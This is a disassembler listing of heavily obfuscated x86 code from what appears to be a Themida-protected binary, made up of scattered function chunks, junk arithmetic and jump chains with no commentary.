; FUNCTION CHUNK AT 005A1EAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2340 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3206 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A53DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A68C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A8335 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A99C7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ACE35 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD493 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD7DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD907 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005AD949 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005ADBB1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE901 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 160F6579h
		shl	ebx, 3
		jmp	loc_59C59D
sub_59D7E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	50E9h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 30310BD6h
		xor	esi, 30310BD2h
		add	ecx, esi
		jmp	loc_5A7648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59D81A:				; CODE XREF: sub_597C68+5A54j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_597C68

; =============== S U B	R O U T	I N E =======================================



sub_59D832	proc near		; CODE XREF: sub_5A462F-84A4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005993F7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005998D9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A16C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0DB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1570 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6809 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A6B2A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A8A42 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC252 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE1EA SIZE 00000012 BYTES

		push	ebp
		jmp	loc_5AC252
sub_59D832	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59D838:				; CODE XREF: sub_5A8D43-5864j
		sub	edx, ebp
		add	edx, 47335380h
		pop	ebp
		pop	edi
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		jmp	loc_5AF06C
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_59D84D:				; CODE XREF: sub_5ABA9B-2829j
		mov	edx, 399B247Ah
		add	ecx, edx
		pop	edx
		sub	ecx, 2B4653CCh
		sub	ecx, 20AC76A3h
		sub	ecx, esi
		add	ecx, 20AC76A3h
		jmp	loc_599E1B
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59D86E:				; CODE XREF: sub_5AB3DC-BB2Dj
		pop	ebx
		add	ebp, 2
		jmp	sub_5A2A2A
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_59D877:				; CODE XREF: sub_5A8108-DAEBj
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		jmp	loc_5A8AC3
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59D882:				; CODE XREF: sub_5A91EC+25BAj
		add	esp, 4
		jmp	loc_5AC190
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_59D88A:				; CODE XREF: sub_59F20F+2ABCj
		pop	[esp+4+var_4]
		push	dword ptr [esp+0]
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A2EE0
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59D8A5:				; CODE XREF: sub_5ABE52-E9C6j
		xor	esi, eax
		jmp	loc_5A51DC
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59D8AC:				; CODE XREF: sub_5A1B2A+86A5j
		xor	edx, eax
		pop	eax
		mov	esi, edx
		jmp	loc_5ADA59
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59D8B6:				; CODE XREF: sub_59DFDD+10CD8j
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		pop	esp
		push	eax
		jmp	loc_5AAE46
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------


loc_59D8C6:				; CODE XREF: Themida_:005A6D15j
		push	edi
		mov	edi, 1B6F2529h
		jmp	loc_5982DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AACA7


loc_59D8D1:				; CODE XREF: sub_5AACA7+10j
		pop	edi
		jmp	sub_5AB3DC
; END OF FUNCTION CHUNK	FOR sub_5AACA7
; ---------------------------------------------------------------------------


loc_59D8D7:				; CODE XREF: Themida_:005A7B09j
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_597C87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D8E3:				; CODE XREF: sub_59D99C+1AC8j
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		jmp	loc_5A1ADB
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D8F1:				; CODE XREF: sub_5A8C33-C8FEj
		add	esp, 4
		push	ecx
		jmp	loc_5A5450
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_59D8FD:				; CODE XREF: sub_5A799C-C580j
		not	ah
		push	ecx
		mov	ch, 98h
		add	ah, ch
		pop	ecx
		mov	cl, ah
		mov	eax, [esp-6+arg_2]
		add	esp, 4
		jmp	loc_5AE2FC
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_59D912:				; CODE XREF: sub_5A3B73+224Aj
		mov	ebp, [esp-8+arg_4]
		jmp	loc_5A256C
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------


loc_59D91A:				; CODE XREF: Themida_:005A56B8j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_5AC75B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59D931:				; CODE XREF: sub_59D7E7+10173j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5A014B
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59D93D:				; CODE XREF: sub_59B707:loc_5A81C2j
		not	eax
		jmp	loc_59A96A
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59D944:				; CODE XREF: sub_5AE6FD-7DE3j
		add	bl, al
		jmp	loc_5AD789
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59D94B:				; CODE XREF: sub_5A141E+10D1j
		shl	di, 3
		push	bp
		mov	bp, 87A7h
		sub	di, bp
		pop	bp
		jmp	loc_5A0B8D
; END OF FUNCTION CHUNK	FOR sub_5A141E

; =============== S U B	R O U T	I N E =======================================



sub_59D95F	proc near		; CODE XREF: sub_5A8F56-E1D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00598C5F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059DCEC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AA47F SIZE 0000000C BYTES

		push	ebp
		jmp	loc_598C5F
sub_59D95F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59D965:				; CODE XREF: Themida_:005A8E57j
		pop	ebx
		jmp	loc_5A1B38
; ---------------------------------------------------------------------------


loc_59D96B:				; CODE XREF: Themida_:005AAA1Bj
		push	7C0F64F2h
		pop	ebx
		xor	ebx, eax
		jmp	loc_599660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59D978:				; CODE XREF: sub_5A600F+6CEFj
		add	ebp, 4
		jmp	loc_5A97C7
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D980:				; CODE XREF: sub_5A8C33-F0BBj
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AAB78
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_59D99C	proc near		; CODE XREF: sub_5A9228-A64Fj

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= word ptr  10h

; FUNCTION CHUNK AT 00597CD8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00598055 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005981E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005983CA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598A93 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00598AEE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598BF6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598E79 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059963C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005996DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599701 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00599971 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599C99 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599CBC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A05A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A0A2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A0E9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059A550 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A7F7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059AB39 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059AC1E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ACE4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AE74 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0059AFE8 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059B2BD SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059B460 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B4C4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B527 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0059B6A7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059B808 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B836 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059B942 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BC31 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BCCE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C10D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C1ED SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C214 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0059C3DF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C459 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C535 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C56A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C5E3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CB5B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CC34 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059CCE8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CDAC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059CF85 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CFDF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D077 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D191 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D691 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D754 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D77B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D8E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DCD5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DCFD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E0B8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E166 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E215 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E25E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059E344 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E3FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E590 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059E5F6 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059E715 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E823 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E859 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059EBC3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059EC45 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059ED17 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059EF23 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059EF6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EF9A SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0059F0A4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F0B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F44C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059F712 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F992 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059FB44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FC25 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A00A0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0156 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A024D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0275 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0892 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0A3F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A0AAA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A0B37 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0BC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0C0C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0C87 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A0CFA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1002 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A10AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A11F9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A157B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A18C3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1A10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1ADB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1AF9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1E76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1EA2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A21D1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2319 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2463 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A255F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A257A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A25D2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2846 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A28A8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2A16 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2B7E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2C4D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2F86 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2FB4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A35F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A38F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3945 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A3C0D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A41DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4319 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4629 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A48A2 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A48E2 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A49A2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A4DE5 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A5009 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A5165 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5212 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A526C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A53B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5621 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A5691 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A589A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A599A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A5DF0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5F75 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5FF3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A611E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A63C3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A641F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6567 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A6615 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6687 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A694F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A69BA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6A61 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A6BFB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6C6F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6DAC SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A6E71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6F93 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A7094 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7279 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A759E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A770A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A79BC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A81D8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A833C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A847B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A85D3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A863D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A87B6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8A0B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A8DD4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8FEB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9041 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A906B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A91E0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9494 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A963F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A96B1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A978D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A990A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A9F18 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9FEF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AA16E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA1D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA2FE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AA345 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AA447 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA5C9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA7FC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AAA27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB5F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ABA57 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC2B4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC307 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AC3B8 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005AC48C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC4AD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC6B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AC6D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC72E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ACBA4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACE89 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD1D3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD201 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD275 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD2E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD315 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AD3BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD63C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AD727 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005ADC08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ADCFE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005ADDA5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AE088 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AE196 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AE249 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE675 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AE826 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AE99D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEA6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEB9D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AECC4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AED08 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AEE9A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AEF26 SIZE 00000014 BYTES

		push	ebp
		push	207D0AC3h
		pop	ebp
		push	edx
		mov	edx, 2B197D49h
		or	ebp, edx
		pop	edx
		jmp	loc_59FB44
sub_59D99C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5981F9


loc_59D9B1:				; CODE XREF: sub_5981F9+6j
		mov	ebp, 519F2245h
		jmp	loc_5AB84D
; END OF FUNCTION CHUNK	FOR sub_5981F9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59DC19
; ---------------------------------------------------------------------------


loc_59D9C6:				; CODE XREF: Themida_:00597DC8j
		mov	edx, [esp]
		jmp	loc_5A5F49
; ---------------------------------------------------------------------------


loc_59D9CE:				; CODE XREF: Themida_:005A2A5Dj
		push	eax
		push	esp
		push	dword ptr [esp]
		jmp	loc_598145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59D9D8:				; CODE XREF: sub_5A8F00:loc_5A3C41j
					; sub_5A8D43+3031j
		mov	ecx, [esp-8+arg_4]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		add	ecx, 4
		push	edx
		jmp	loc_5A31B5
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59DA02:				; CODE XREF: sub_5A3F42+486Fj
		pop	esp
		mov	[esp+4+var_4], esp
		push	ebp
		push	ebx
		mov	ebx, 42B314FCh
		shl	ebx, 6
		or	ebx, 29FC27D4h
		push	7128h
		mov	[esp+10h+var_10], edx
		jmp	loc_5988F6
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59DA23:				; CODE XREF: sub_5AC95F-38D0j
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59DA31:				; CODE XREF: Themida_:005A1BC1j
		add	edx, edi
		push	ebx
		jmp	loc_5A17B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_59DA39:				; CODE XREF: sub_5A8899+3D60j
		not	[esp+14h+var_14]
		jmp	loc_59BE01
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
		push	3D5Fh
		jmp	loc_5A08E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59DA4B:				; CODE XREF: sub_59EE40+CC56j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		add	edx, 788251EEh
		add	edx, 7470463Eh
		add	edx, 659A4CBDh
		add	edx, eax
		push	edi
		mov	edi, 33F644ACh
		sub	edi, 0BEBBFD9Ch
		add	edi, 1
		shl	edi, 3
		push	ebx
		push	eax
		mov	eax, 30AC423Ch
		push	33D9488Eh
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		xor	ebx, eax
		pop	eax
		shl	ebx, 4
		push	edi
		mov	edi, 472B0A9Dh
		jmp	loc_5A4C35
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59DA9E:				; CODE XREF: sub_5A8F00+54D5j
		add	ecx, 76D356F0h
		pop	esi
		push	ebp
		push	ebx
		mov	ebx, 663A0DD2h
		mov	ebp, 726B4701h
		xor	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 364E682Dh
		not	ecx
		xor	ecx, 221F22FDh
		sub	ebp, 5592576Fh
		add	ebp, ecx
		add	ebp, 5592576Fh
		pop	ecx
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	word ptr [esp+8+var_8],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8F00
